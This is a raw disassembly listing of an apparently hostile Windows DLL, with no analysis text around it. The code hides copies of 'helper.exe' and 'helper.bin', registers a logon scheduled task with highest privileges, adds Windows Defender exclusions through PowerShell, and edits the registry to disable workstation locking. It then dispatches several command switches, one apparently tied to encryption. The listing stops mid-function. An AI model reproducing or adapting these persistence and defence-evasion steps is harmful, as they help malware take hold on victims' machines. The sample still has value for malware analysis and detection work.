lea rcx, [rbp + 0x2440]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2420]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rdx, rax
xor r8d, r8d
lea rcx, str.helper.exe
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0x2420]
call fcn.180002290
nop
lea rcx, [rbp + 0x2440]
call fcn.180002290
nop
lea rcx, [rbp + 0x2460]
call fcn.180002290
lea rdx, [0x1800122d8]
lea rcx, [rbp + 0x24c0]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3220]
lea rcx, [rbp + 0x24a0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2480]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rdx, rax
xor r8d, r8d
lea rcx, [0x1800122d8]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0x2480]
call fcn.180002290
nop
lea rcx, [rbp + 0x24a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x24c0]
call fcn.180002290
lea rdx, str.helper.bin
lea rcx, [rbp + 0x2520]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x2500]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x24e0]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x24e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2500]
call fcn.180002290
nop
lea rcx, [rbp + 0x2520]
call fcn.180002290
lea rdx, [0x1800122d8]
lea rcx, [rbp + 0x2580]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3220]
lea rcx, [rbp + 0x2560]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2540]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x2540]
call fcn.180002290
nop
lea rcx, [rbp + 0x2560]
call fcn.180002290
nop
lea rcx, [rbp + 0x2580]
call fcn.180002290
lea rdx, str.__na___sc_ONLOGON__f
lea rcx, [rbp + 0x2760]
call fcn.180001e20
mov r13, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x2740]
call fcn.180007610
mov r12, rax
lea rdx, str._____a
lea rcx, [rbp + 0x2720]
call fcn.180001e20
mov r15, rax
lea rdx, str.helper.bin
lea rcx, [rbp + 0x2700]
call fcn.180001e20
mov r14, rax
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x26e0]
call fcn.180001e20
mov rsi, rax
lea rdx, str.___tr__cmd.exe__c_start___________
lea rcx, [rbp + 0x26c0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x26a0]
call fcn.180001d00
mov rbx, rax
lea rdx, str.schtasks__create__tn__
lea rcx, [rbp + 0x2680]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2660]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2640]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2620]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2600]
call fcn.180001430
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x25e0]
call fcn.180001430
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x25c0]
call fcn.180001430
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x25a0]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 0x8000000
mov r8d, 1
call fcn.180003560
lea rcx, [rbp + 0x25a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x25c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x25e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2600]
call fcn.180002290
nop
lea rcx, [rbp + 0x2620]
call fcn.180002290
nop
lea rcx, [rbp + 0x2640]
call fcn.180002290
nop
lea rcx, [rbp + 0x2660]
call fcn.180002290
nop
lea rcx, [rbp + 0x2680]
call fcn.180002290
nop
lea rcx, [rbp + 0x26a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x26c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x26e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2700]
call fcn.180002290
nop
lea rcx, [rbp + 0x2720]
call fcn.180002290
nop
lea rcx, [rbp + 0x2740]
call fcn.180002290
nop
lea rcx, [rbp + 0x2760]
call fcn.180002290
lea rdx, str.__RunLevel_Highest_
lea rcx, [rbp + 0x2880]
call fcn.180001e20
mov r14, rax
lea rdx, [rbp + 0x3aa0]
lea rcx, [rbp + 0x2860]
call fcn.180001e20
mov rsi, rax
lea rdx, str._____Settings___New_ScheduledTaskSettingsSet__AllowStartIfOnBatteries__DontStopIfGoingOnBatteries__DontStopOnIdleEnd___Principal___New_ScheduledTaskPrincipal__UserId
lea rcx, [rbp + 0x2840]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x2820]
call fcn.180001d00
mov rbx, rax
lea rdx, str.powershell__Command__Set_ScheduledTask__TaskName____
lea rcx, [rbp + 0x2800]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x27e0]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x27c0]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x27a0]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2780]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 0x8000000
mov r8d, 1
call fcn.180003560
lea rcx, [rbp + 0x2780]
call fcn.180002290
nop
lea rcx, [rbp + 0x27a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x27c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x27e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2800]
call fcn.180002290
nop
lea rcx, [rbp + 0x2820]
call fcn.180002290
nop
lea rcx, [rbp + 0x2840]
call fcn.180002290
nop
lea rcx, [rbp + 0x2860]
call fcn.180002290
nop
lea rcx, [rbp + 0x2880]
call fcn.180002290
lea rdx, str.helper.bin
lea rcx, [rbp + 0x2a60]
call fcn.180001e20
mov r13, rax
lea rdx, str.__ExclusionProcess
lea rcx, [rbp + 0x2a40]
call fcn.180001e20
mov r12, rax
lea rdx, str.helper.bin
lea rcx, [rbp + 0x2a20]
call fcn.180001e20
mov r15, rax
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x2a00]
call fcn.180001e20
mov r14, rax
lea rdx, [0x180011ec4]
lea rcx, [rbp + 0x29e0]
call fcn.180001e20
mov rsi, rax
lea rdx, [0x1800122d8]
lea rcx, [rbp + 0x29c0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3220]
lea rcx, [rbp + 0x29a0]
call fcn.180001e20
mov rbx, rax
lea rdx, str.powershell__Command__Add_MpPreference__ExclusionPath
lea rcx, [rbp + 0x2980]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2960]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2940]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2920]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2900]
call fcn.180001430
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x28e0]
call fcn.180001430
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x28c0]
call fcn.180001430
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x28a0]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 0x8000000
mov r8d, 1
call fcn.180003560
lea rcx, [rbp + 0x28a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x28c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x28e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2900]
call fcn.180002290
nop
lea rcx, [rbp + 0x2920]
call fcn.180002290
nop
lea rcx, [rbp + 0x2940]
call fcn.180002290
nop
lea rcx, [rbp + 0x2960]
call fcn.180002290
nop
lea rcx, [rbp + 0x2980]
call fcn.180002290
nop
lea rcx, [rbp + 0x29a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x29c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x29e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2a00]
call fcn.180002290
nop
lea rcx, [rbp + 0x2a20]
call fcn.180002290
nop
lea rcx, [rbp + 0x2a40]
call fcn.180002290
nop
lea rcx, [rbp + 0x2a60]
call fcn.180002290
lea rdx, str.reg_add_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableLockWorkstation__t_REG_DWORD__d_0__f
lea rcx, [rbp + 0x2a80]
call fcn.180001e20
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 0x8000000
mov r8d, 1
call fcn.180003560
lea rcx, [rbp + 0x2a80]
call fcn.180002290
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x18000d241
lea rdx, str.REG_SUCCESS
call fcn.1800011d0
jmp 0x18000d304
lea rdx, str.REG_FAIL
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.REASON:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x18000d304
lea rdx, str.REG_FAIL
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.180004450
mov esi, eax
lea rcx, [0x1800122d8]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov edi, eax
lea rcx, str.helper.exe
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ebx, eax
lea rdx, str.REASON:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x180001930]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x18000c6a7
cmp r14d, 2
jle 0x18000d70c
mov rdi, rdx
mov rcx, rbx
lea rdx, str._errstr
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x18000d3c5
cmp rcx, 8
jne 0x18000d331
mov rdx, qword [rsi + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x1100]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1100]
call fcn.180007440
mov edx, eax
lea rcx, [rbp + 0x2aa0]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2aa0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1100]
jmp 0x18000c6ae
lea rdx, str._errstr_hresult
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x18000d477
mov rdx, qword [rsi + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x1120]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1120]
call fcn.180007440
mov edx, eax
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3d0]
call fcn.180002080
nop
mov rcx, rax
call fcn.180002880
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x3d0]
call fcn.180002410
nop
lea rcx, [rbp + 0x1120]
jmp 0x18000c6ae
lea rdx, str._errstr_mci
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x18000d51d
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x1140]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1140]
call fcn.180007440
mov ecx, eax
mov r8d, 0x104
lea rdx, [rbp + 0x3dd0]
call qword [sym.imp.WINMM.dll_mciGetErrorStringA]
nop
lea rcx, [rbp + 0x1140]
call fcn.180002290
mov rdx, qword [rsi + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x3dd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000c6b3
cmp byte [rdi], 0x2d
jne 0x18000d5c6
cmp byte [rdi + 1], 0x73
jne 0x18000d5c6
cmp byte [rdi + 2], bl
jne 0x18000d5c6
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x1160]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1160]
call fcn.180007440
mov ecx, eax
xor edx, edx
call fcn.180005a20
mov ebx, eax
lea rcx, [rbp + 0x1160]
call fcn.180002290
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2ae0]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2ae0]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 3
jle 0x18000d66a
cmp byte [rdi], 0x2d
jne 0x18000d674
cmp byte [rdi + 1], 0x64
jne 0x18000d674
cmp byte [rdi + 2], bl
jne 0x18000d674
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
call fcn.1800043f0
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
lea rcx, [rbp + 0x3b0]
call fcn.180002080
nop
mov rcx, rax
call fcn.180002880
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x3b0]
call fcn.180002410
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 2
jle 0x18000d70c
mov rax, qword [rsi + 8]
cmp byte [rax], 0x2d
jne 0x18000d715
cmp byte [rax + 1], 0x70
jne 0x18000d715
cmp byte [rax + 2], bl
jne 0x18000d715
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x390]
call fcn.180001e20
mov rcx, rax
call fcn.180004dc0
mov ebx, eax
mov r8d, 0x104
lea rdx, [rbp + 0x3ee0]
mov ecx, eax
call qword [sym.imp.WINMM.dll_mciGetErrorStringA]
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x3ee0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, r13d
jle 0x18000d8a9
mov rcx, rbx
mov rdx, qword [rsi + 8]
lea r8, str._pds
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000d7b5
cmp rcx, 5
jne 0x18000d723
call fcn.1800054b0
cmp eax, r13d
cmovne ebx, eax
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
lea rcx, [rbp + 0x370]
call fcn.180002080
nop
mov rcx, rax
call fcn.180002880
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x370]
call fcn.180002410
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 3
jle 0x18000d8a9
mov rcx, rbx
lea r8, [0x1800125b4]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000d8b3
cmp rcx, 4
jne 0x18000d7d0
mov rdx, qword [rsi + 0x18]
lea rcx, [rbp + 0x11a0]
call fcn.180001e20
nop
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x1180]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x11a0]
call fcn.180007440
mov ebx, eax
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1180]
call fcn.180007440
mov ecx, eax
mov edx, ebx
call fcn.180002e10
mov ebx, eax
lea rcx, [rbp + 0x1180]
call fcn.180002290
nop
lea rcx, [rbp + 0x11a0]
call fcn.180002290
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2b60]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2b60]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 2
jle 0x18000d96a
mov rcx, rbx
mov rdx, qword [rsi + 8]
lea r8, [0x1800125b8]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000d973
cmp rcx, 4
jne 0x18000d8c1
cmp r14d, 3
jle 0x18000d90c
mov rax, rbx
mov r8, qword [rsi + 0x18]
lea rcx, str._crpy
nop dword [rax]
movzx edx, byte [r8 + rax]
inc rax
cmp dl, byte [rcx + rax - 1]
jne 0x18000d908
cmp rax, 6
jne 0x18000d8f0
cmp dl, byte [rcx + rax - 1]
cmove ebx, r13d
mov edx, ebx
mov rcx, qword [rsi + 0x10]
call fcn.180003630
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2b80]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2b80]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, r13d
jle 0x18000e34b
mov rdx, qword [rsi + 8]
mov rcx, rbx
lea r8, [0x1800125c4]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000d9ed
cmp rcx, 4
jne 0x18000d981
call fcn.180004420
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2ba0]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2ba0]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp byte [rdx], 0x2d
jne 0x18000da94
cmp byte [rdx + 1], 0x65
jne 0x18000da94
cmp byte [rdx + 2], bl
jne 0x18000da94
cmp r14d, 3
jle 0x18000da33
mov rdx, qword [rsi + 0x18]
movzx ecx, byte [rdx]
sub ecx, 0x2d
jne 0x18000da2d
movzx ecx, byte [rdx + 1]
sub ecx, 0x77
jne 0x18000da2d
movzx ecx, byte [rdx + 2]
movzx eax, bl
sub ecx, eax
test ecx, ecx
cmove ebx, r13d
mov r8d, ebx
xor edx, edx
mov rcx, qword [rsi + 0x10]
call fcn.180003560
mov ebx, eax
mov edx, eax
